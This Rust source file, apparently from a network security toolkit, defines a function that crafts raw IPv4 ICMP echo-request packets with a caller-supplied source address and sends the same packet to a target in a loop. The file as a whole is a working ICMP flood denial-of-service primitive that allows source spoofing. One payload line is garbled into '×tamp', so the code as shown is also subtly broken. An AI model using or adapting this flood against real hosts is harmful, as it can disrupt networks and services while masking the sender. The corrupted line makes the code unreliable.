use chrono::Utc;
use pnet::packet::icmp;
use pnet::packet::icmp::IcmpCode;
use pnet::packet::icmp::IcmpType;
use pnet::packet::icmp::MutableIcmpPacket;
use pnet::packet::icmp::echo_request::MutableEchoRequestPacket;
use pnet::packet::ip::IpNextHeaderProtocols;
use pnet::packet::ipv4;
use pnet::packet::ipv4::Ipv4Flags;
use pnet::packet::ipv4::MutableIpv4Packet;
use rand::Rng;
use std::net::Ipv4Addr;
use std::panic::Location;
use crate::error::PistolError;
use crate::layer::ICMP_HEADER_SIZE;
use crate::layer::IPV4_HEADER_SIZE;
use crate::layer::layer3_ipv4_send;
const TTL: u8 = 64;
pub fn send_icmp_flood_packet(
dst_ipv4: Ipv4Addr,
_: u16, src_ipv4: Ipv4Addr,
_: u16, max_same_packet: usize,
) -> Result<usize, PistolError> {
const ICMP_DATA_SIZE: usize = 16;
let mut rng = rand::rng();
let mut ip_buff = [0u8; IPV4_HEADER_SIZE + ICMP_HEADER_SIZE + ICMP_DATA_SIZE];
let mut ip_header = match MutableIpv4Packet::new(&mut ip_buff) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
ip_header.set_version(4);
ip_header.set_header_length(5);
ip_header.set_source(src_ipv4);
ip_header.set_destination(dst_ipv4);
ip_header.set_total_length((IPV4_HEADER_SIZE + ICMP_HEADER_SIZE + ICMP_DATA_SIZE) as u16);
let id = rng.random();
ip_header.set_identification(id);
ip_header.set_flags(Ipv4Flags::DontFragment);
ip_header.set_ttl(TTL);
ip_header.set_next_level_protocol(IpNextHeaderProtocols::Icmp);
let c = ipv4::checksum(&ip_header.to_immutable());
ip_header.set_checksum(c);
let mut icmp_header = match MutableEchoRequestPacket::new(&mut ip_buff[IPV4_HEADER_SIZE..]) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
icmp_header.set_icmp_type(IcmpType(8));
icmp_header.set_icmp_code(IcmpCode(0));
icmp_header.set_sequence_number(1);
icmp_header.set_identifier(rng.random());
let mut tv_sec = Utc::now().timestamp().to_be_bytes();
tv_sec.reverse(); let mut tv_usec = Utc::now().timestamp_subsec_millis().to_be_bytes();
tv_usec.reverse(); let mut timestamp = Vec::new();
timestamp.extend(tv_sec);
timestamp.extend(tv_usec);
icmp_header.set_payload(×tamp);
let mut icmp_header = match MutableIcmpPacket::new(&mut ip_buff[IPV4_HEADER_SIZE..]) {
Some(p) => p,
None => {
return Err(PistolError::BuildPacketError {
location: format!("{}", Location::caller()),
});
}
};
let checksum = icmp::checksum(&icmp_header.to_immutable());
icmp_header.set_checksum(checksum);
let timeout = None;
for _ in 0..max_same_packet {
let _ret = layer3_ipv4_send(dst_ipv4, src_ipv4, &ip_buff, vec![], timeout, false)?;
}
Ok(ip_buff.len() * max_same_packet)
}